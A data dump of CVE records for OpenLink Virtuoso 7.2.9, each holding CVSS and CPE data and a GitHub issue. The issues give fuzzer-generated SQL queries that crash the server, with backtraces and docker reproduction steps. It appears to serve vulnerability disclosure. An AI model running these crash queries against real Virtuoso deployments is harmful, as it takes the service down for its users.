"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1125"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1125 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (
x VARCHAR,
y VARCHAR
);
SELECT IFNULL(MIN(x), -1), IFNULL(MAX(x), -1)
FROM (
SELECT x FROM t1 UNION ALL
SELECT NULL
) AS temp;
```
backtrace:
```c
#0 0x737010 (dfe_qexp_list+0x40)
#1 0x73711d (dfe_qexp_list+0x14d)
#2 0x7474c9 (dfe_union_dfe+0xc9)
#3 0x747878 (sqlg_set_ts_order+0x198)
#4 0x747efd (sqlg_top_1+0xed)
#5 0x70d4d4 (sqlo_top_select+0x164)
#6 0x6b72bf (sql_stmt_comp+0x8bf)
#7 0x6ba122 (sql_compile_1+0x1a62)
#8 0x7c8cd0 (stmt_set_query+0x340)
#9 0x7cabc2 (sf_sql_execute+0x922)
#10 0x7cbf4e (sf_sql_execute_w+0x17e)
#11 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#12 0xe1f01c (future_wrapper+0x3fc)
#13 0xe2691e (_thread_boot+0x11e)
#14 0x7f460b246609 (start_thread+0xd9)
#15 0x7f460b016133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at dfe_qexp_list | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1125/comments | 1 | 2023-04-12T18:52:59Z | 2023-04-17T19:07:44Z | https://github.com/openlink/virtuoso-opensource/issues/1125 | 1,665,077,173 | 1,125 |
CVE-2023-31613 | 2023-05-15T15:15:11.867 | An issue in the __nss_database_lookup component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1121"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1121 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (c1 INT, c2 BINARY(100),c3 FLOAT);
INSERT INTO t1 VALUES (100,'abcdefghij',3.0);
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (2,'abcde');
UPDATE t1 SET c2 = (SELECT MAX(c1) FROM t2);
```
backtrace:
```c
#0 0x7fd63dbe3a7d (__nss_database_lookup+0x2861d)
#1 0xffffffffffffffff -- no symbol name found
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at __nss_database_lookup | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1121/comments | 0 | 2023-04-12T18:46:15Z | 2023-04-17T09:13:45Z | https://github.com/openlink/virtuoso-opensource/issues/1121 | 1,665,069,177 | 1,121 |
CVE-2023-31614 | 2023-05-15T15:15:11.913 | An issue in the mp_box_deserialize_string function in openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) after running a SELECT statement. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1117"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1117 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | ## Description
When running the following statement on an empty virtuoso-opensource database, the database just crashed:
```sql
SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables
UNION
SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns
```
## The Way to Reproduce
Just running the following command to reproduce the crash:
```bash
docker run --name virtdb -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9 # start virtuoso through docker
sleep 10 # wait the server starting
echo "SELECT 1;" | docker exec -i virtdb isql 1111 dba # check whether the simple query works
# The command to crash virtuoso
echo "SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns;" | docker exec -i virtdb isql 1111 dba
```
the output in shell:
```
OpenLink Virtuoso Interactive SQL (Virtuoso)
Version 07.20.3236 as of Feb 27 2023
Type HELP; for help and EXIT; to exit.
Connected to OpenLink Virtuoso
Driver: 07.20.3236 OpenLink Virtuoso ODBC Driver
SQL>
*** Error 08S01: [Virtuoso Driver]CL065: Lost connection to server
at line 1 of Top-Level:
SELECT table_name as name, 'TABLE' as type, '' as parentname FROM information_schema.tables UNION SELECT column_name as name, data_type as type, table_name as parentname FROM information_schema.columns
```
You can see the error "Lost connection to server", and the container is stopped due to the abnormal exit of the virtuoso instance.
## Backtrace
The backtrace when crash is as follow. I compiled virtuoso-opensource 7.2.9 with debug mode to get it.
```
Thread 8 "virtuoso-t" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffdfdb4700 (LWP 1440941)]
0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0,
text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
292 switch ((dtp_t)text[0])
(gdb) bt
#0 0x00000000005533b6 in mp_box_deserialize_string (mp=0x7fffc806bfc0,
text=0xe34ce1f37a6c3a64 <error: Cannot access memory at address 0xe34ce1f37a6c3a64>, opt_len=2147483647, offset=0) at regist.c:292
#1 0x0000000000427b34 in cha_box_col (cha=0x7fffec416108, ha=0x7fffc8025bf0, row=0x7fffec424720 "k9\241\220(\230\310\r", inx=3)
at chash.c:2320
#2 0x00000000004253f1 in chash_to_memcache (inst=0x7fffc802b2f8, tree=0x7fffc802a158, ha=0x7fffc8025bf0) at chash.c:2364
#3 0x00000000004278e4 in setp_chash_distinct (setp=0x7fffc8025970, inst=0x7fffc802b2f8) at chash.c:2292
#4 0x0000000000593df7 in setp_node_run (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8, print_blobs=0) at sort.c:385
#5 0x00000000005948c7 in setp_node_input (setp=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:606
#6 0x00000000006bb4e3 in qn_input (xx=0x7fffc8025970, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#7 0x00000000006bb74a in qn_send_output (src=0x7fffc8024ae0, state=0x7fffc802b2f8) at sqlrun.c:1028
#8 0x000000000042b6f8 in hash_source_chash_input (hs=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:3233
#9 0x00000000004d268c in hash_source_input (hs=0x7fffc8024ae0, qst=0x7fffc802b2f8, qst_cont=0x7fffc802b2f8) at hash.c:2613
#10 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024ae0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#11 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc8024400, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
#12 0x00000000006bf39f in table_source_input (ts=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
#13 0x00000000006bb4e3 in qn_input (xx=0x7fffc8024400, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#14 0x00000000006bb8e6 in qn_ts_send_output (src=0x7fffc80235b0, state=0x7fffc802b2f8, after_join_test=0x0) at sqlrun.c:1059
#15 0x00000000006bf39f in table_source_input (ts=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:1991
#16 0x00000000006bb4e3 in qn_input (xx=0x7fffc80235b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#17 0x0000000000594e55 in union_node_input (un=0x7fffc800f5d0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:672
#18 0x000000000066c60f in qr_resume_pending_nodes (subq=0x7fffc8020680, inst=0x7fffc802b2f8) at sqlintrp.c:1185
#19 0x000000000066c923 in subq_next (subq=0x7fffc8020680, inst=0x7fffc802b2f8, cr_state=2) at sqlintrp.c:1243
#20 0x000000000070e52c in subq_node_vec_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x0) at sqlvnode.c:702
#21 0x0000000000594a8b in subq_node_input (sqs=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:691
#22 0x00000000006bb4e3 in qn_input (xx=0x7fffc801dbc0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#23 0x00000000006bb74a in qn_send_output (src=0x7fffc80202b0, state=0x7fffc802b2f8) at sqlrun.c:1028
#24 0x0000000000439b1a in chash_fill_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at chash.c:6013
#25 0x00000000004d3c05 in hash_fill_node_input (fref=0x7fffc80202b0, inst=0x7fffc802b2f8, qst=0x7fffc802b2f8) at hash.c:3253
#26 0x00000000006bb4e3 in qn_input (xx=0x7fffc80202b0, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#27 0x00000000006bb74a in qn_send_output (src=0x7fffc8027e30, state=0x7fffc802b2f8) at sqlrun.c:1028
#28 0x000000000070e189 in set_ctr_vec_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlvnode.c:632
#29 0x0000000000596fb4 in set_ctr_input (sctr=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sort.c:1319
#30 0x00000000006bb4e3 in qn_input (xx=0x7fffc8027e30, inst=0x7fffc802b2f8, state=0x7fffc802b2f8) at sqlrun.c:982
#31 0x00000000006c791e in qr_exec (cli=0x7fffc8000e30, qr=0x7fffc801a380, caller=0x2, cr_name=0x7fffc802bdf8 "s1111_1_0", stmt=0x7fffc8018b30,
lc_ret=0x0, parms=0x7fffd4021de8, opts=0x7fffd4021f08, named_params=0) at sqlrun.c:4344
#32 0x00000000006d1f5b in sf_sql_execute (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b", cursor_name=0x7fffd4021ec8 "s1111_1_0",
params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2006
#33 0x00000000006d26fe in sf_sql_execute_w (stmt_id=0x7fffd4021e08 "s1111_1_0", text=0x72e2658 "\320\b",
cursor_name=0x7fffd4021ec8 "s1111_1_0", params=0x7fffd4021ea8, current_ofs=0x7fffd4021dc8, options=0x7fffd4021f08) at sqlsrv.c:2049
#34 0x00000000006d9620 in sf_sql_execute_wrapper (args=0x7fffdfdb3e30) at sqlsrv.c:3995
#35 0x0000000000b777f6 in future_wrapper (ignore=0x0) at Dkernel.c:1171
#36 0x0000000000b7da94 in _thread_boot (arg=0x7fffd4011370) at sched_pthread.c:296
#37 0x00007ffff7c3a609 in start_thread (arg=<optimized out>) at pthread_create.c:477
--Type <RET> for more, q to quit, c to continue without paging--
#38 0x00007ffff7a0a133 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
``` | virtuoso *crashed* after running a SELECT statement | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1117/comments | 2 | 2023-04-10T17:55:59Z | 2023-04-17T09:13:46Z | https://github.com/openlink/virtuoso-opensource/issues/1117 | 1,661,128,936 | 1,117 |
CVE-2023-31615 | 2023-05-15T15:15:11.963 | An issue in the chash_array component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1124"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1124 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x INTEGER UNIQUE);
CREATE TABLE k(v varchar(255), excluded varchar(255));
INSERT INTO t1(x, x, x, x, x, x, x) VALUES(16183,15638,6,0,5,2,0);
SELECT 'one', t1.* FROM t1 LEFT JOIN k ON t1.x=k.v WHERE k.v IS NULL;
```
backtrace:
```c
#0 0x4257c4 (chash_array+0x834)
#1 0x43932f (hash_source_chash_input+0x6df)
#2 0x7ac43e (qn_input+0x3ce)
#3 0x7ac8a6 (qn_send_output+0x236)
#4 0x81e26d (set_ctr_vec_input+0x94d)
#5 0x7ac43e (qn_input+0x3ce)
#6 0x7acb6f (qn_ts_send_output+0x23f)
#7 0x7b247e (table_source_input+0x16ee)
#8 0x7ac43e (qn_input+0x3ce)
#9 0x7ac8a6 (qn_send_output+0x236)
#10 0x44c34e (chash_fill_input+0x13e)
#11 0x535d6f (hash_fill_node_input+0xef)
#12 0x7ac43e (qn_input+0x3ce)
#13 0x7ac8a6 (qn_send_output+0x236)
#14 0x81e26d (set_ctr_vec_input+0x94d)
#15 0x7ac43e (qn_input+0x3ce)
#16 0x7bdc6e (qr_exec+0x11ee)
#17 0x7cb446 (sf_sql_execute+0x11a6)
#18 0x7cbf4e (sf_sql_execute_w+0x17e)
#19 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#20 0xe1f01c (future_wrapper+0x3fc)
#21 0xe2691e (_thread_boot+0x11e)
#22 0x7fac44860609 (start_thread+0xd9)
#23 0x7fac44630133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at chash_array | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1124/comments | 0 | 2023-04-12T18:50:37Z | 2023-04-14T12:55:18Z | https://github.com/openlink/virtuoso-opensource/issues/1124 | 1,665,074,357 | 1,124 |
CVE-2023-31616 | 2023-05-15T15:15:12.010 | An issue in the bif_mod component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1122"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1122 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
SELECT MOD(-9223372036854775808, -1);
```
backtrace:
```c
#0 0x66a32e (bif_mod+0xce)
#1 0x74ae62 (sqlr_run_bif_in_sandbox+0x392)
#2 0x79b598 (sqlp_patch_call_if_special_or_optimizable+0x1148)
#3 0xccffe7 (scn3yyparse+0xc5d7)
#4 0x6b995b (sql_compile_1+0x129b)
#5 0x7c8cd0 (stmt_set_query+0x340)
#6 0x7cabc2 (sf_sql_execute+0x922)
#7 0x7cbf4e (sf_sql_execute_w+0x17e)
#8 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#9 0xe1f01c (future_wrapper+0x3fc)
#10 0xe2691e (_thread_boot+0x11e)
#11 0x7f1cfacc6609 (start_thread+0xd9)
#12 0x7f1cfaa96133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at bif_mod | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1122/comments | 0 | 2023-04-12T18:47:44Z | 2023-04-14T08:12:11Z | https://github.com/openlink/virtuoso-opensource/issues/1122 | 1,665,070,884 | 1,122 |
CVE-2023-31617 | 2023-05-15T15:15:12.057 | An issue in the dk_set_delete component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1127"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1127 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE b (
folders VARCHAR(80),
folderid VARCHAR(80),
parentid VARCHAR(80),
rootid VARCHAR(80),
c INTEGER,
path VARCHAR(80),
id VARCHAR(80),
i VARCHAR(80),
d VARCHAR(80),
e VARCHAR(80),
f VARCHAR(80)
);
SELECT -(coalesce((select max(coalesce((select b.f from b where not exists(select 1 from b where (abs(+rootid+19+19)/abs(b.rootid))<b.rootid) or 19+f>=(select -max(19) from b)+b.f),b.e+b.f)* -b.e+19-f) from b where (( -b.id<19) or d>=id)),b.id))*id*((b.rootid))-17 FROM b WHERE NOT (b.e not between b.f*id and b.f+ -d);
```
backtrace:
```c
#0 0xe05b99 (dk_set_delete+0x39)
#1 0x7ff2b5 (sqlg_vec_qns+0x365)
#2 0x7fcfc7 (cv_vec_slots+0x947)
#3 0x7fc563 (sqlg_vec_after_test+0x1b3)
#4 0x80148f (qn_vec_slots+0x61f)
#5 0x7ff412 (sqlg_vec_qns+0x4c2)
#6 0x81464c (sqlg_vector_subq+0xdc)
#7 0x814d91 (sqlg_vector+0x61)
#8 0x6baa15 (sql_compile_1+0x2355)
#9 0x7c8cd0 (stmt_set_query+0x340)
#10 0x7cabc2 (sf_sql_execute+0x922)
#11 0x7cbf4e (sf_sql_execute_w+0x17e)
#12 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#13 0xe1f01c (future_wrapper+0x3fc)
#14 0xe2691e (_thread_boot+0x11e)
#15 0x7fc16f67c609 (start_thread+0xd9)
#16 0x7fc16f44c133 (clone+0x43)
#0 0xe10319 (gpf_notice+0x209)
#1 0xde599f (dk_free_box+0x2df)
#2 0x6b35cc (fun_ref_free+0x4c)
#3 0x50498d (qr_free+0x2ad)
#4 0x504a1c (qr_free+0x33c)
#5 0x504a1c (qr_free+0x33c)
#6 0x504a1c (qr_free+0x33c)
#7 0x504a1c (qr_free+0x33c)
#8 0x7c4def (cli_scrap_cached_statements+0x41f)
#9 0x7c53f5 (client_connection_free+0x265)
#10 0x7c6365 (srv_client_connection_died+0x205)
#11 0x7c652d (srv_client_session_died+0x2d)
#12 0xe14dff (session_is_dead+0x6f)
#13 0xe1f3d0 (future_wrapper+0x7b0)
#14 0xe2691e (_thread_boot+0x11e)
#15 0x7fefc040b609 (start_thread+0xd9)
#16 0x7fefc01db133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at dk_set_delete | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1127/comments | 0 | 2023-04-12T19:01:25Z | 2023-04-14T08:12:12Z | https://github.com/openlink/virtuoso-opensource/issues/1127 | 1,665,089,526 | 1,127 |
CVE-2023-31618 | 2023-05-15T15:15:12.110 | An issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1136"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1136 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
SELECT SUM(v), COUNT(*) FROM gstest_empty
UNION ALL
SELECT SUM(v), NULL FROM gstest_empty
UNION ALL
SELECT NULL, COUNT(*) FROM gstest_empty
UNION ALL
SELECT NULL, NULL
```
backtrace:
```c
#0 0x81a65e (sqlc_union_dt_wrap+0x5e)
#1 0x81a783 (sqlc_union_order+0x33)
#2 0x6b6f11 (sql_stmt_comp+0x511)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x7c8cd0 (stmt_set_query+0x340)
#5 0x7cabc2 (sf_sql_execute+0x922)
#6 0x7cbf4e (sf_sql_execute_w+0x17e)
#7 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#8 0xe1f01c (future_wrapper+0x3fc)
#9 0xe2691e (_thread_boot+0x11e)
#10 0x7f5244ae3609 (start_thread+0xd9)
#11 0x7f52448b3133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sqlc_union_dt_wrap | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1136/comments | 0 | 2023-04-12T19:34:10Z | 2023-04-14T08:12:15Z | https://github.com/openlink/virtuoso-opensource/issues/1136 | 1,665,129,009 | 1,136 |
